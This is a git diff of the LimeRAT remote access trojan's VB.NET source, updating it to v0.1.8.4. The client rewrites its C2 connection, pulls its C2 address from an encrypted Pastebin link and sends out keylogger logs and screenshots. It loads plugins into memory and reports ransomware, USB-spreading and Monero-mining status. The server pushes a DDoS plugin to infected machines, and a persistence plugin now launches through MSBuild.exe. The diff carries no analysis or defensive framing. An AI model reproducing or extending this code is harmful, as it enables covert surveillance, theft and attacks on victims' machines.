diff --git a/.vs/LimeRAT/DesignTimeBuild/.dtbcache b/.vs/LimeRAT/DesignTimeBuild/.dtbcache index 1abd080..46b8cf5 100644 Binary files a/.vs/LimeRAT/DesignTimeBuild/.dtbcache and b/.vs/LimeRAT/DesignTimeBuild/.dtbcache differ diff --git a/.vs/LimeRAT/v15/.suo b/.vs/LimeRAT/v15/.suo index b682143..b0848dc 100644 Binary files a/.vs/LimeRAT/v15/.suo and b/.vs/LimeRAT/v15/.suo differ diff --git a/.vs/LimeRAT/v15/Server/sqlite3/storage.ide b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide index fcdc518..9e5efd0 100644 Binary files a/.vs/LimeRAT/v15/Server/sqlite3/storage.ide and b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide differ diff --git a/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-shm b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-shm index 25754bc..0db15d0 100644 Binary files a/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-shm and b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-shm differ diff --git a/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-wal b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-wal index c87c964..e3f7e3e 100644 Binary files a/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-wal and b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-wal differ diff --git a/Project/Client/C_Commands.vb b/Project/Client/C_Commands.vb index ab908bc..a8345c9 100644 --- a/Project/Client/C_Commands.vb +++ b/Project/Client/C_Commands.vb @@ -11,14 +11,14 @@ Try Select Case A(0) - Case "!PSend" - C_Socket._start = True - C_Socket.Send("!PStart") + Case "!PSend" 'Ask client to run timer + C_TcpClient.P_Start = True + C_TcpClient.Send("!PStart") - Case "!P" - C_Socket._stop = True + Case "!P" 'Ask client to stop timer + C_TcpClient.P_Stop = True - Case "!CAP" + Case "!CAP" 'Thumbnail Try Dim bounds As Drawing.Rectangle = Windows.Forms.Screen.PrimaryScreen.Bounds Dim image As New Drawing.Bitmap(Windows.Forms.Screen.PrimaryScreen.Bounds.Width, bounds.Height, Drawing.Imaging.PixelFormat.Format16bppRgb555) @@ -30,45 +30,49 @@ Dim G As Drawing.Graphics = Drawing.Graphics.FromImage(THU) G.DrawImage(image, New Drawing.Rectangle(0, 0, 256, 156), New Drawing.Rectangle(0, 0, image.Width, image.Height), Drawing.GraphicsUnit.Pixel) THU.Save(MM, System.Drawing.Imaging.ImageFormat.Jpeg) - C_Socket.Send("#CAP" & SPL & C_ID.Bot & SPL & Text.Encoding.Default.GetString(MM.ToArray)) - MM.Dispose() - THU.Dispose() - G.Dispose() - image.Dispose() + C_TcpClient.Send("#CAP" & SPL & C_ID.Bot & SPL & Text.Encoding.Default.GetString(MM.ToArray)) + Try + MM.Dispose() + THU.Dispose() + G.Dispose() + image.Dispose() + Catch : End Try Catch ex As Exception End Try Case "KL" - C_Socket.Send("KL" + SPL + C_ID.HWID + SPL + IO.File.ReadAllText(IO.Path.GetTempPath + "\" + IO.Path.GetFileNameWithoutExtension(Windows.Forms.Application.ExecutablePath) + ".tmp")) + C_TcpClient.Send("KL" + SPL + C_ID.HWID + SPL + IO.File.ReadAllText(IO.Path.GetTempPath + "\" + IO.Path.GetFileNameWithoutExtension(Windows.Forms.Application.ExecutablePath) + ".tmp")) - Case "CPL" 'check plugin + Case "CPL" 'check if plugin in installed, or ask server to send it If GTV(A(1)) = Nothing Then - C_Socket.Send("GPL" + SPL + A(1)) + C_TcpClient.Send("GPL" + SPL + A(1)) Else Plugin(GZip(Convert.FromBase64String(GTV(A(1))), False)) End If - Case "IPL" 'invo plugin + Case "IPL" 'server send plugin. save it then load it STV(A(2), A(1)) Plugin(GZip(Convert.FromBase64String(GTV(A(2))), False)) - Case "IPLM" + Case "IPLM" 'server send plugin. load it without saving it. Plugin(GZip(Convert.FromBase64String(A(1)), False), A(2)) End Select Catch ex As Exception - C_Socket.Send("MSG" + SPL + "Error! " + ex.Message) + C_TcpClient.Send("MSG" + SPL + "Error! " + ex.Message) End Try End Sub + 'I can change this method with better one but I have to re-write plugins method name. + 'Also if you update this method you have to use old LimeRAT to update your clients. Public Shared Sub Plugin(ByVal B() As Byte, Optional CMD As String = Nothing) Try - C_Socket.Send("OK") + C_TcpClient.Send("OK" + SPL + C_ID.HWID + SPL + C_ID.UserName) For Each Type_ As Type In AppDomain.CurrentDomain.Load(B).GetTypes For Each GM In Type_.GetMethods If GM.Name = "CN" Then - GM.Invoke(Nothing, New Object() {C_Settings.HOST, C_Settings.PORT, C_Socket.ENDOF, C_Socket.SPL, C_Settings.EncryptionKey, C_Settings.fullpath, C_ID.HWID, C_ID.Bot, C_Encryption.AES_Decrypt(C_Settings.Pastebin)}) + GM.Invoke(Nothing, New Object() {C_Settings.HOST, C_Settings.PORT, C_TcpClient.ENDOF, C_TcpClient.SPL, C_Settings.EncryptionKey, C_Settings.fullpath, C_ID.HWID, C_ID.Bot, C_Encryption.AES_Decrypt(C_Settings.Pastebin)}) ElseIf GM.Name = "MISC" Then GM.Invoke(Nothing, New Object() {C_ID.HWID, CMD}) ElseIf GM.Name = "CL" Then @@ -77,7 +81,7 @@ Next Next Catch ex As Exception - C_Socket.Send("MSG" + SPL + "Plugin Error! " + ex.Message) + C_TcpClient.Send("MSG" + SPL + "Plugin Error! " + ex.Message) End Try End Sub diff --git a/Project/Client/C_Downloader.vb b/Project/Client/C_Downloader.vb index cd7cdf1..9bc7e8c 100644 --- a/Project/Client/C_Downloader.vb +++ b/Project/Client/C_Downloader.vb @@ -18,6 +18,13 @@ Diagnostics.Process.Start(file) End If End If + + Try + WC.Dispose() + WC = Nothing + Catch ex As Exception + End Try + Catch ex As Exception C_Main.C.Send("MSG" + C_Main.SPL + "DWN Error! " + ex.Message) 'Maybe file is not FUD or link problem End Try diff --git a/Project/Client/C_ID.vb b/Project/Client/C_ID.vb index 908677b..4f0c00a 100644 --- a/Project/Client/C_ID.vb +++ b/Project/Client/C_ID.vb @@ -169,13 +169,13 @@ Dim retObjectCollection As Management.ManagementObjectCollection = searcher.Get For Each retObject As Management.ManagementObject In retObjectCollection If retObject("CommandLine").ToString.Contains("--donate-level=") Then - Return "Minning" + Return "Minning..." End If Next Catch ex As Exception End Try Else - Return "Idle" + Return CPU() End If Catch ex As Exception End Try @@ -193,6 +193,19 @@ End Try End Function + Public Shared Function CPU() As String + Try + Dim P As New Management.ManagementObject("Win32_Processor.deviceid=""CPU0""") + P.Get() + If P("Name").ToString.Contains("Intel") Then + Return P("Name").ToString.Replace("(R)", "").Replace("Core(TM)", "").Replace("CPU", "") + End If + Return P("Name").ToString + Catch ex As Exception + Return "Err > Idle" + End Try + + End Function End Class End Namespace diff --git a/Project/Client/C_Main.vb b/Project/Client/C_Main.vb index e1f4884..e9aa05e 100644 --- a/Project/Client/C_Main.vb +++ b/Project/Client/C_Main.vb @@ -1,5 +1,5 @@ '################################################################## -'## N Y A N C A T ||| Updated on Sept/14/2018 ## +'## N Y A N C A T ||| Updated on Sept/17/2018 ## '################################################################## '## ## '## ## @@ -36,7 +36,7 @@ Namespace Lime Public Class C_Main - Public Shared C As New C_Socket + Public Shared C As New C_TcpClient Public Shared SPL = C_Settings.SPL @@ -66,7 +66,7 @@ Namespace Lime Call C_Installation.INS() - C_Socket.T1.Start() + C_TcpClient.T1.Start() #Region "Plugins Threads" @@ -119,14 +119,14 @@ Namespace Lime While True 1: - If C.CNT = True Then + If C.Alive = True Then Threading.Thread.CurrentThread.Sleep(3000) 'Compare old string with new string Try If OldRans <> GTV("Rans-Status") Then OldRans = GTV("Rans-Status") - C.Send("!R" & SPL & OldRans) + C.Send("!R" & SPL & OldRans + SPL + C_ID.HWID + SPL + C_ID.UserName) End If Catch ex As Exception @@ -136,8 +136,8 @@ Namespace Lime If C_Settings.USB Then If OldUSB <> GTV("USB").ToString Then OldUSB = GTV("USB") - C.Send("!SP" & SPL & OldUSB) - End If + C.Send("!SP" & SPL & OldUSB + SPL + C_ID.HWID + SPL + C_ID.UserName) + End If End If Catch ex As Exception End Try @@ -145,7 +145,7 @@ Namespace Lime Try If OldXMR <> C_ID.XMR Then OldXMR = C_ID.XMR - C.Send("!X" & SPL & OldXMR) + C.Send("!X" & SPL & OldXMR + SPL + C_ID.HWID + SPL + C_ID.UserName) End If Catch ex As Exception End Try @@ -153,8 +153,8 @@ Namespace Lime Try If OldFLD <> GTV("Flood").ToString Then OldFLD = GTV("Flood") - C.Send("MSG" & SPL & "Flood! " & OldFLD) - OldFLD = "" + C.Send("MSG" & SPL & "Flood! " & OldFLD + SPL + C_ID.HWID + SPL + C_ID.UserName) + OldFLD = "" STV("Flood", "") End If Catch ex As Exception @@ -172,7 +172,7 @@ Namespace Lime Try If GTV("_USB") = Nothing Then While True - If C.CNT = True Then + If C.Alive = True Then Threading.Thread.CurrentThread.Sleep(9000) C.Send("PLUSB") Exit While @@ -191,7 +191,7 @@ Namespace Lime Try If GTV("_PIN") = Nothing Then While True - If C.CNT = True Then + If C.Alive = True Then Threading.Thread.CurrentThread.Sleep(11000) C.Send("PLPIN") Exit While @@ -211,7 +211,7 @@ Namespace Lime Try If GTV("_KLG") = Nothing Then While True - If C.CNT = True Then + If C.Alive = True Then Threading.Thread.CurrentThread.Sleep(11000) C.Send("PLKLG") Exit While diff --git a/Project/Client/C_Socket.vb b/Project/Client/C_Socket.vb deleted file mode 100644 index 6b96d73..0000000 --- a/Project/Client/C_Socket.vb +++ /dev/null @@ -1,135 +0,0 @@ -Namespace Lime - - Public Class C_Socket - Public Shared ENDOF As String = C_Settings.ENDOF - Public Shared SPL As String = C_Settings.SPL - Public Shared C As Net.Sockets.TcpClient - Public Shared R As New Random - Public Shared T1 As New Threading.Thread(AddressOf Connect) - Public Shared CNT As Boolean = False - - Public Shared Sub Connect() - Dim MS As New IO.MemoryStream ' create memory stream - Dim KA As Integer = 0 -re: - Try - If C Is Nothing Then GoTo e - If C.Client.Connected = False Then GoTo e - If CNT = False Then GoTo e - KA += 1 - If KA > 500 Then - KA = 0 - ' check if i am still connected - If C.Client.Poll(-1, Net.Sockets.SelectMode.SelectRead) And C.Client.Available <= 0 Then GoTo e - End If - If C.Available > 0 Then - Dim B(C.Available - 1) As Byte - C.Client.Receive(B, 0, B.Length, Net.Sockets.SocketFlags.None) - MS.Write(B, 0, B.Length) -rr: - If BS(MS.ToArray).Contains(ENDOF) Then ' split packet.. - Dim A As Array = SplitWord(MS.ToArray, ENDOF) - Dim T As New Threading.Thread(AddressOf C_Commands.Data) - T.Start(A(0)) - MS.Dispose() - MS = New IO.MemoryStream - If A.Length = 2 Then - MS.Write(A(1), 0, A(1).length) - GoTo rr - End If - End If - End If - Catch ex As Exception - GoTo e - End Try - Threading.Thread.Sleep(1) - GoTo re -e: ' clear things and ReConnect - CNT = False - Try - C.Client.Disconnect(False) - Catch ex As Exception - End Try - Try - MS.Dispose() - Catch ex As Exception - End Try - MS = New IO.MemoryStream - Try - C = New Net.Sockets.TcpClient - C.SendBufferSize = 999999 - C.ReceiveBufferSize = 999999 - C.ReceiveTimeout = -1 - C.SendTimeout = -1 - - KA = 0 -#If DEBUG Then - C_Settings.HOST = "127.0.0.1" - C_Settings.PORT = 8989 -#Else - - Try - Dim WC As Net.WebClient = New Net.WebClient() 'Pastebin, split by ":" IP:PORT - Dim Response As String = WC.DownloadString(C_Encryption.AES_Decrypt(C_Settings.Pastebin)) - C_Settings.HOST = Response.Split(":")(0) - C_Settings.PORT = Response.Split(":")(1) - WC.Dispose() - Catch ex As Exception - End Try -#End If - C.Client.Connect(C_Settings.HOST, C_Settings.PORT) - CNT = True - 'Send info to server - Send(String.Concat("info", SPL, C_ID.HWID, SPL, C_ID.UserName, SPL, "v0.1.8.3", SPL, C_ID.MyOS, " ", C_ID.Bit, SPL, - C_ID.INDATE, SPL, C_ID.AV, SPL, C_ID.Rans, SPL, C_ID.XMR, SPL, C_ID.USBSP, SPL, "...", SPL, " ")) - Dim P As New Threading.Thread(AddressOf PING) - P.Start() - Catch ex As Exception - Threading.Thread.Sleep(R.Next(10000)) - GoTo e - End Try - GoTo re - End Sub - - Public Shared Sub SendData(ByVal b As Byte()) - If CNT = False Then Exit Sub - Try - Dim r As Object = New IO.MemoryStream - r.Write(b, 0, b.Length) - r.Write(SB(ENDOF), 0, ENDOF.Length) - C.Client.Send(r.ToArray, 0, r.Length, Net.Sockets.SocketFlags.None) - r.Dispose() - Catch ex As Exception - CNT = False - End Try - End Sub - - Public Shared Sub Send(ByVal S As String) - SendData(SB(C_Encryption.AES_Encrypt(S))) - End Sub - - Public Shared _stop As Boolean = False - Public Shared _start As Boolean = False - Public Shared MS As Integer = 0 - Public Shared Sub PING(sock As Integer) - - Try - While CNT = True - If _start Then - MS += 1 - If _stop Then - Send("!P" + SPL + MS.ToString) - MS = 0 - _start = False - _stop = False - End If - End If - Threading.Thread.Sleep(1) - End While - MS = 0 : Exit Sub - Catch : End Try - End Sub - - End Class - -End Namespace diff --git a/Project/Client/C_TcpClient.vb b/Project/Client/C_TcpClient.vb new file mode 100644 index 0000000..ecb89e8 --- /dev/null +++ b/Project/Client/C_TcpClient.vb @@ -0,0 +1,162 @@ +Namespace Lime + + Public Class C_TcpClient + Public Shared ENDOF As String = C_Settings.ENDOF + Public Shared SPL As String = C_Settings.SPL + Public Shared C As Net.Sockets.TcpClient + Public Shared R As New Random + Public Shared T1 As New Threading.Thread(AddressOf Connect) + Public Shared Alive As Boolean = False + Public Shared MS As IO.MemoryStream = Nothing + Public Shared Tick As System.Threading.Timer = Nothing + Public Shared KA As Integer = 0 + + Public Shared Sub Connect() + + While True + If Alive = True Then + Try + While C.Connected + KA += 1 + If KA = 500 Then + If C.Available < 1 Then + C.Client.Poll(-1, Net.Sockets.SelectMode.SelectRead) + End If + If C.Available <= 0 Then + KA = 0 + Exit While + End If + KA = 0 + End If + If C.Available > 0 Then + Dim B(C.Available - 1) As Byte + C.Client.Receive(B, 0, B.Length, Net.Sockets.SocketFlags.None) + MS.Write(B, 0, B.Length) +re: + If BS(MS.ToArray).Contains(ENDOF) Then + Dim A As Array = SplitWord(MS.ToArray, ENDOF) + Dim T As New Threading.Thread(AddressOf C_Commands.Data) + T.Start(A(0)) + MS.Dispose() + MS = New IO.MemoryStream + If A.Length = 2 Then + MS.Write(A(1), 0, A(1).length) + GoTo re + End If + End If + End If + End While + Catch ex As Exception + End Try + End If + + Alive = False + Do While Not Alive + Threading.Thread.Sleep(R.Next(10 * 1000)) + ReConnect() + Loop + + End While + + End Sub + + Public Shared Function ReConnect() + Alive = False + + Try + C.Close() + C = Nothing + Catch ex As Exception + End Try + + Try + Tick.Dispose() + Tick = Nothing + Catch ex As Exception + End Try + + Try + MS.Dispose() + MS = Nothing + Catch ex As Exception + End Try + + Try + C = New Net.Sockets.TcpClient + C.SendBufferSize = 4194304 + C.ReceiveBufferSize = 4194304 + C.ReceiveTimeout = -1 + C.SendTimeout = -1 + +#If DEBUG Then + C_Settings.HOST = "127.0.0.1" + C_Settings.PORT = 8989 +#Else + + Using WC As New Net.WebClient 'Pastebin, split by ":" IP:PORT + Try + Dim Response As String = WC.DownloadString(C_Encryption.AES_Decrypt(C_Settings.Pastebin)) + C_Settings.HOST = Response.Split(":")(0) + C_Settings.PORT = Response.Split(":")(1) + WC.Dispose() + Catch ex As Exception + End Try + End Using + +#End If + C.Connect(C_Settings.HOST, C_Settings.PORT) + Alive = True + MS = New IO.MemoryStream + + Send(String.Concat("info", SPL, C_ID.HWID, SPL, C_ID.UserName, SPL, "v0.1.8.4", SPL, C_ID.MyOS, " ", C_ID.Bit, SPL, + C_ID.INDATE, SPL, C_ID.AV, SPL, C_ID.Rans, SPL, C_ID.XMR, SPL, C_ID.USBSP, SPL, "...", SPL, " ", SPL, + C_ID.Privileges.ToString, SPL, C_Settings.fullpath, SPL, Environment.ProcessorCount)) + + Dim T As New System.Threading.TimerCallback(AddressOf PING) + Tick = New System.Threading.Timer(T, Nothing, 0, 1) + + Return Alive + Catch ex As Exception + Return Alive + End Try + End Function + + Public Shared Sub SendData(ByVal b As Byte()) + Dim M As IO.MemoryStream = New IO.MemoryStream + Try + M.Write(b, 0, b.Length) + M.Write(SB(ENDOF), 0, ENDOF.Length) + SyncLock C + C.Client.Poll(-1, Net.Sockets.SelectMode.SelectWrite) + C.Client.Send(M.ToArray, 0, M.Length, Net.Sockets.SocketFlags.None) + End SyncLock + M.Dispose() + Catch ex As Exception + Alive = False + M.Dispose() + End Try + End Sub + + Public Shared Sub Send(ByVal S As String) + SendData(SB(C_Encryption.AES_Encrypt(S))) + End Sub + + Public Shared P_Stop As Boolean = False + Public Shared P_Start As Boolean = False + Public Shared i As Integer = 0 + Public Shared Sub PING() + Try + If P_Start Then + i += 1 + If P_Stop Then + P_Start = False : P_Stop = False + Send("!P" + SPL + i.ToString + SPL + C_ID.HWID + SPL + C_ID.UserName) + i = 0 + End If + End If + Catch : End Try + End Sub + + End Class + +End Namespace diff --git a/Project/Client/Client.vbproj b/Project/Client/Client.vbproj index 9fec936..0dae0aa 100644 --- a/Project/Client/Client.vbproj +++ b/Project/Client/Client.vbproj @@ -70,7 +70,7 @@ - + diff --git a/Project/Plugins/CRYP/Main.vb b/Project/Plugins/CRYP/Main.vb index b664738..f888108 100644 --- a/Project/Plugins/CRYP/Main.vb +++ b/Project/Plugins/CRYP/Main.vb @@ -1,6 +1,25 @@ Imports System.Net.Sockets Imports System.Security.Cryptography +'# This should work since the dll doesn't need to listen for server requests. + +'Dim Client As TcpClient = New TcpClient() +'Client.Connect(HOST, PORT) +'Client.SendBufferSize = 102400 +'Client.SendTimeout = -1 +'Client.Client.SendTimeout = -1 +'Client.Client.SendBufferSize = 102400 +'Try +'Dim r As System.IO.MemoryStream = New System.IO.MemoryStream() +'Dim b As Byte() = System.Text.Encoding.UTF8.GetBytes(AES_Encrypt("#YOURCASE#" & "|'L'|" & "#DATA1#" & "|'L'|" & "#DATA2#") & "|'N'|") +'r.Write(b, 0, b.Length) +'Client.Client.Send(b, 0, b.Length, SocketFlags.None) +'Client.Client.Poll(-1, SelectMode.SelectRead) +'r.Dispose() +'Client.Client.Close(20000) +'Catch ex6 As Exception +'End Try + Public Class Main Public Shared C As TcpClient = Nothing diff --git a/Project/Plugins/DET/ID.vb b/Project/Plugins/DET/ID.vb index 8f9decc..f3e3dae 100644 --- a/Project/Plugins/DET/ID.vb +++ b/Project/Plugins/DET/ID.vb @@ -105,9 +105,9 @@ Public Class ID Try Dim P As New Management.ManagementObject("Win32_Processor.deviceid=""CPU0""") P.Get() - If P("Name").ToString.Contains("Intel") Then - Return P("Name").ToString.Replace("(R)", "").Replace("Core(TM)", "").Replace("CPU", "") - End If + ' If P("Name").ToString.Contains("Intel") Then + Return P("Name").ToString.Replace("(R)", "").Replace("Core(TM)", "").Replace("CPU", "") + ' End If Return P("Name").ToString Catch ex As Exception Return "Error" diff --git a/Project/Plugins/ENC/Resources/DECF.exe b/Project/Plugins/ENC/Resources/DECF.exe index 711d8bf..1e9e881 100644 Binary files a/Project/Plugins/ENC/Resources/DECF.exe and b/Project/Plugins/ENC/Resources/DECF.exe differ diff --git a/Project/Plugins/PERS/Main.vb b/Project/Plugins/PERS/Main.vb index b2b3d3c..e40c913 100644 --- a/Project/Plugins/PERS/Main.vb +++ b/Project/Plugins/PERS/Main.vb @@ -6,7 +6,7 @@ Public Class Main Dim Type_ As Type = ASM_.GetType("PERS.Main") Dim Method_ As MethodInfo = Type_.GetMethod("Run", BindingFlags.Public Or BindingFlags.Static) 'Method Dim Object_ As Object = Activator.CreateInstance(Type_) - Method_.Invoke(Object_, New Object() {IO.Path.Combine(Runtime.InteropServices.RuntimeEnvironment.GetRuntimeDirectory(), "Regasm.exe"), Chr(34) + FP + Chr(34), My.Resources.CODE, True}) + Method_.Invoke(Object_, New Object() {IO.Path.Combine(Runtime.InteropServices.RuntimeEnvironment.GetRuntimeDirectory(), "MSBuild.exe"), Chr(34) + FP + Chr(34), My.Resources.CODE, True}) End Sub End Class diff --git a/Project/Plugins/PWD/Main.vb b/Project/Plugins/PWD/Main.vb index 1094d77..b3a0968 100644 --- a/Project/Plugins/PWD/Main.vb +++ b/Project/Plugins/PWD/Main.vb @@ -1,6 +1,25 @@ Imports System.Net.Sockets Imports System.Security.Cryptography +'# This should work since the dll doesn't need to listen for server requests. + +'Dim Client As TcpClient = New TcpClient() +'Client.Connect(HOST, PORT) +'Client.SendBufferSize = 102400 +'Client.SendTimeout = -1 +'Client.Client.SendTimeout = -1 +'Client.Client.SendBufferSize = 102400 +'Try +'Dim r As System.IO.MemoryStream = New System.IO.MemoryStream() +'Dim b As Byte() = System.Text.Encoding.UTF8.GetBytes(AES_Encrypt("#YOURCASE#" & "|'L'|" & "#DATA1#" & "|'L'|" & "#DATA2#") & "|'N'|") +'r.Write(b, 0, b.Length) +'Client.Client.Send(b, 0, b.Length, SocketFlags.None) +'Client.Client.Poll(-1, SelectMode.SelectRead) +'r.Dispose() +'Client.Client.Close(20000) +'Catch ex6 As Exception +'End Try + Public Class Main Public Shared C As TcpClient = Nothing diff --git a/Project/Server/Classes/S_Settings.vb b/Project/Server/Classes/S_Settings.vb index d71924f..17c8558 100644 --- a/Project/Server/Classes/S_Settings.vb +++ b/Project/Server/Classes/S_Settings.vb @@ -3,7 +3,7 @@ Public Shared PORT As Integer Public Shared EncryptionKey As String Public Shared IP As String = String.Empty - Public Shared StubVer As String = "v0.1.8.3" + Public Shared StubVer As String = "v0.1.8.4" Public Shared SPL As String = "|'L'|" Public Shared ENDOF As String = "|'N'|" diff --git a/Project/Server/Classes/S_Socket.vb b/Project/Server/Classes/S_TcpListener.vb similarity index 92% rename from Project/Server/Classes/S_Socket.vb rename to Project/Server/Classes/S_TcpListener.vb index c51df78..ba34903 100644 --- a/Project/Server/Classes/S_Socket.vb +++ b/Project/Server/Classes/S_TcpListener.vb @@ -1,18 +1,20 @@ Imports System.Net.Sockets 'njq8 -Public Class S_Socket +Public Class S_TcpListener Private S As TcpListener Private SKT As Integer = -1 Public SK(9999) As Socket Public Event Data(ByVal sock As Integer, ByVal B As Byte()) Public Event DisConnected(ByVal sock As Integer) - Public Event Connected(ByVal sock As Integer) + 'Public Event Connected(ByVal sock As Integer) Private ENDOF As String = S_Settings.ENDOF Public Online As New List(Of Integer) Private oIP(9999) As String Sub New(ByVal P As Integer) - S = New TcpListener(P) + S = New TcpListener(New Net.IPEndPoint(Net.IPAddress.Any, P)) + S.Server.ReceiveTimeout = -1 + S.Server.SendTimeout = -1 S.Start() Dim T As New Threading.Thread(AddressOf PND, 10) T.Start() @@ -61,15 +63,15 @@ re: Dim sock As Integer = NEWSKT() SK(sock) = S.AcceptSocket - SK(sock).ReceiveBufferSize = 1048576 - SK(sock).SendBufferSize = 1048576 + SK(sock).ReceiveBufferSize = 2097152 + SK(sock).SendBufferSize = 2097152 SK(sock).ReceiveTimeout = -1 SK(sock).SendTimeout = -1 Dim t As New Threading.Thread(AddressOf RC, 10) t.Start(sock) - RaiseEvent Connected(sock) + ' RaiseEvent Connected(sock) End If GoTo re Catch : End Try diff --git a/Project/Server/Forms/About.Designer.vb b/Project/Server/Forms/About.Designer.vb index aaa2287..71a3b69 100644 --- a/Project/Server/Forms/About.Designer.vb +++ b/Project/Server/Forms/About.Designer.vb @@ -142,7 +142,7 @@ Partial Class About Me.MetroLabel7.Size = New System.Drawing.Size(61, 19) Me.MetroLabel7.Style = MetroFramework.MetroColorStyle.Lime Me.MetroLabel7.TabIndex = 0 - Me.MetroLabel7.Text = ": 0.1.8.3" + Me.MetroLabel7.Text = ": 0.1.8.4" Me.MetroLabel7.Theme = MetroFramework.MetroThemeStyle.Dark ' 'MetroLabel8 @@ -162,10 +162,10 @@ Partial Class About Me.MetroLabel9.AutoSize = True Me.MetroLabel9.Location = New System.Drawing.Point(23, 273) Me.MetroLabel9.Name = "MetroLabel9" - Me.MetroLabel9.Size = New System.Drawing.Size(47, 19) + Me.MetroLabel9.Size = New System.Drawing.Size(94, 19) Me.MetroLabel9.Style = MetroFramework.MetroColorStyle.Lime Me.MetroLabel9.TabIndex = 0 - Me.MetroLabel9.Text = "Socket" + Me.MetroLabel9.Text = "Server Listener" Me.MetroLabel9.Theme = MetroFramework.MetroThemeStyle.Dark ' 'MetroLabel10 diff --git a/Project/Server/Forms/Floods.vb b/Project/Server/Forms/Floods.vb index a9340d0..68975a2 100644 --- a/Project/Server/Forms/Floods.vb +++ b/Project/Server/Forms/Floods.vb @@ -15,12 +15,12 @@ Flood_Attack.Enabled = False Flood_Port.Enabled = False For Each x As ListViewItem In Main.L1.SelectedItems - Main.S.Send(x.ToolTipText, "IPLM" + SPL + Convert.ToBase64String(GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\DDOS.dll"), True)) + SPL + Flood_Attack.Text + "|'P'|" + "1" + "|'P'|" + Flood_Host.Text + "|'P'|" + Flood_Threads.Value.ToString + "|'P'|" + Flood_Time.Value.ToString + "|'P'|" + Flood_Port.Value.ToString) + Main.S.Send(x.Tag, "IPLM" + SPL + Convert.ToBase64String(GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\DDOS.dll"), True)) + SPL + Flood_Attack.Text + "|'P'|" + "1" + "|'P'|" + Flood_Host.Text + "|'P'|" + Flood_Threads.Value.ToString + "|'P'|" + Flood_Time.Value.ToString + "|'P'|" + Flood_Port.Value.ToString) Next Else MetroTile1.Text = "Please Wait.." For Each x As ListViewItem In Main.L1.SelectedItems - Main.S.Send(x.ToolTipText, "IPLM" + SPL + Convert.ToBase64String(GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\DDOS.dll"), True)) + SPL + Flood_Attack.Text + "|'P'|" + "2") + Main.S.Send(x.Tag, "IPLM" + SPL + Convert.ToBase64String(GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\DDOS.dll"), True)) + SPL + Flood_Attack.Text + "|'P'|" + "2") Next MetroTile1.Text = "Start Attack" Flood_Host.Enabled = True diff --git a/Project/Server/Forms/Main.Designer.vb b/Project/Server/Forms/Main.Designer.vb index 13116bd..5eb69e6 100644 --- a/Project/Server/Forms/Main.Designer.vb +++ b/Project/Server/Forms/Main.Designer.vb @@ -129,7 +129,7 @@ Partial Class Main Me.MetroLabel4 = New MetroFramework.Controls.MetroLabel() Me.NotifyIcon1 = New System.Windows.Forms.NotifyIcon(Me.components) Me.BackgroundWorker1 = New System.ComponentModel.BackgroundWorker() - Me.Timer1 = New System.Windows.Forms.Timer(Me.components) + Me.LabelUpdate = New System.Windows.Forms.Timer(Me.components) Me.MetroLabel1 = New MetroFramework.Controls.MetroLabel() Me.MetroPanel1 = New MetroFramework.Controls.MetroPanel() Me.MetroLabel2 = New MetroFramework.Controls.MetroLabel() @@ -140,9 +140,10 @@ Partial Class Main Me.BackgroundWorker2 = New System.ComponentModel.BackgroundWorker() Me.MetroStyleExtender1 = New MetroFramework.Components.MetroStyleExtender(Me.components) Me.MetroToolTip1 = New MetroFramework.Components.MetroToolTip() - Me.Timer2 = New System.Windows.Forms.Timer(Me.components) - Me.Timer3 = New System.Windows.Forms.Timer(Me.components) - Me.Timer4 = New System.Windows.Forms.Timer(Me.components) + Me.PingClients = New System.Windows.Forms.Timer(Me.components) + Me.AutoUpdate = New System.Windows.Forms.Timer(Me.components) + Me.CAP = New System.Windows.Forms.Timer(Me.components) + Me.Dicconnction = New System.Windows.Forms.Timer(Me.components) Me.MetroTabControl1.SuspendLayout() Me.MetroTabPage1.SuspendLayout() Me.Main_Rightclick.SuspendLayout() @@ -212,6 +213,7 @@ Partial Class Main Me.L1.Name = "L1" Me.L1.OwnerDraw = True Me.L1.ShowGroups = False + Me.L1.ShowItemToolTips = True Me.L1.Size = New System.Drawing.Size(1614, 449) Me.L1.SmallImageList = Me.Flag Me.L1.TabIndex = 2 @@ -1475,10 +1477,10 @@ Partial Class Main 'BackgroundWorker1 ' ' - 'Timer1 + 'LabelUpdate ' - Me.Timer1.Enabled = True - Me.Timer1.Interval = 500 + Me.LabelUpdate.Enabled = True + Me.LabelUpdate.Interval = 500 ' 'MetroLabel1 ' @@ -1577,18 +1579,23 @@ Partial Class Main Me.MetroToolTip1.Style = MetroFramework.MetroColorStyle.Lime Me.MetroToolTip1.Theme = MetroFramework.MetroThemeStyle.Dark ' - 'Timer2 + 'PingClients ' - Me.Timer2.Enabled = True - Me.Timer2.Interval = 30000 + Me.PingClients.Enabled = True + Me.PingClients.Interval = 30000 ' - 'Timer3 + 'AutoUpdate ' - Me.Timer3.Interval = 5000 + Me.AutoUpdate.Interval = 5000 ' - 'Timer4 + 'CAP ' ' + 'Dicconnction + ' + Me.Dicconnction.Enabled = True + Me.Dicconnction.Interval = 60000 + ' 'Main ' Me.AutoScaleDimensions = New System.Drawing.SizeF(9.0!, 20.0!) @@ -1678,7 +1685,7 @@ Partial Class Main Friend WithEvents ClientColorToolStripMenuItem As ToolStripMenuItem Friend WithEvents AboutToolStripMenuItem As ToolStripMenuItem Friend WithEvents BackgroundWorker1 As System.ComponentModel.BackgroundWorker - Friend WithEvents Timer1 As Timer + Friend WithEvents LabelUpdate As Timer Friend WithEvents MetroLabel1 As MetroFramework.Controls.MetroLabel Friend WithEvents MetroPanel1 As MetroFramework.Controls.MetroPanel Friend WithEvents MetroToggle1 As MetroFramework.Controls.MetroToggle @@ -1740,8 +1747,8 @@ Partial Class Main Friend WithEvents XMRMinerToolStripMenuItem As ToolStripMenuItem Friend WithEvents MetroLabel12 As MetroFramework.Controls.MetroLabel Friend WithEvents DDoSToolStripMenuItem As ToolStripMenuItem - 